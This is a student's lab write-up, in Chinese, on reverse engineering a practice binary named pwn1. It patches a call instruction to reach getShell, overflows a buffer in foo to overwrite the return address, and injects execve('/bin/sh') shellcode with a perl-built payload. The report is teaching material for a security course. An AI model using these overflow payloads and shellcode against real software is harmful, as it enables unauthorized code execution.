2019-2020-2 20175301李锦然《网络对抗技术》Exp1 PC平台逆向破解
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
-
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
1.2 基础知识
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
2 直接修改程序机器指令,改变程序执行流程
-
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
第一步·:
下载目标文件pwn1,对pwn1
反汇编:
输入
objdump -d pwn1 | more
对pwn1文件进行反汇编,并分页显示。
输入
/getShell
可以快速锁定到getShell函数
可以观察到其中许多关键信息如main中call函数指向的foo,这就是我们这次实验的目标,要将他改为指向getshell
第二步:
查看并修改汇编指令
上面已经看到了call 8048491所对应的汇编指令为
e8 d7 ff ff ff
此时只要改变eip寄存器中的值便可以改变跳转地址
call指令要跳转到的地址=call指令所调用的getShell函数的地址-eip寄存器中的值=804847d-80484ba=c3 ff ff ff
首先备份一下pwn1,用备份出的pwn2做实验,先不使用溢出,将d7改为c3即可
用vim打开我们备份的pwn2,显示为乱码,输入:%!xxd
将显示模式切换为16进制模式
查找要修改的内容e8d7ffffff
,将其修改为c3ffffff
,之后使用:%!xxd -r
转换16进制为原格式后保存并退出
做一点点微小的工作
用objdump -d pwn2
对pwn2
反汇编,检查call指令是否正确调用getShell
对比运行pwn1和pwn2,发现会得到shell提示符,证明我们的修改成功改变了程序执行流程(pwn1的功能是打印读取的输入,pwn2直接返回shell了)
第三步: 通过构造输入参数造成BOF攻击,改变程序执行流
再备份一个pwn3,使用pwn3做实验
我们的目标是触发getShell
函数
该可执行文件正常运行是调用foo
函数,foo
函数有缓冲区溢出漏洞,超出系统预留长度的部分会造成溢出
我们可以利用此漏洞实现覆盖返回地址
- 确认输入字符串哪几个字符会覆盖到返回地址
使用gdb调试pwn3,使程序发生段错误,使用info r
查看寄存器的值 - 这里忘记截图了。。
通过实践证明输入的字符的第33-36这四个字节将覆盖EIP寄存器中的值
试验一下
溢出成功!
这里标记的33353333是3353739的16进制ASCII码
那么就可以进行下一步了
第四步:
注入shellcode并执行
本次实验shellcode的编写参考了学长的博客Shellcode入门,使用的shellcode如下:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
但是还不能确定覆盖的返回地址是什么,需要通过gdb调试查看
先运行pwn3,不退出,运行另一个终端使用gdb
attach
指令调试
通过break *0x080484ae
设置断点,然后在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束input_shellcode的原因。
在gdb终端输入c
继续运行,使用info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据
这里都忘了截图了。
0xffffd38c
存放的数据是01020304,那么shellcode地址就是0xffffd390
修改input_shellcode文件对应代码为:
perl -e 'print "A" x 32;print "x90xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
然后使用(cat input_shellcode;cat) | ./pwn1
将input_shellcode的输入,通过管道符“|”,作为pwn1的输入。
经检验实现了shell功能:
试验完成
实验要求:
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:0x90
- JNE:0x75
- JE:0x74
- JMP
- Short Jump(短跳转):0xEB
- Near Jump(近跳转):0xE9
- Far Jump(远跳转):0xEA
- CMP:0x39
掌握反汇编与十六进制编程器
- 反汇编:
objdump -d xxx | more
- 十六进制编程器Perl:
perl -e 'print "xxx"' > input
实验收获与感想:
实验一因为不是在云班课上就忘了,耽误了好久才做,其中还是很有乐趣的,尤其是做shellcode的时候,对缓冲区进行溢出的攻击方式很有趣,感觉是我汇编没学好么有个问题,缓冲区eip eap的位置如果是可以调换的那这个溢出意义是不是就没了,还不是很理解。。
什么是漏洞,漏洞有什么危害?
就比如说这个缓冲区33到36位就是漏洞,漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
攻击者可以通过漏洞对系统发动攻击从而获取权限或者破坏系统秩序,造成损失,漏洞不可能没有只能慢慢减少。